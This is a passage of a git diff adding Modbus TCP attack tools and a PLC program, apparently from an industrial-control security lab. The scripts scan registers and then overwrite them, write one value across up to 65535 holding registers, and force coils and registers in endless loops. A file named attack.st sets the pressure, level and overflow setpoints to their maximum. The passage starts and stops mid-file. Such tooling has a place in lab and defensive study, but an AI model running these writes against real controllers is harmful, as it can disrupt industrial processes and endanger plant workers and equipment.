read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, 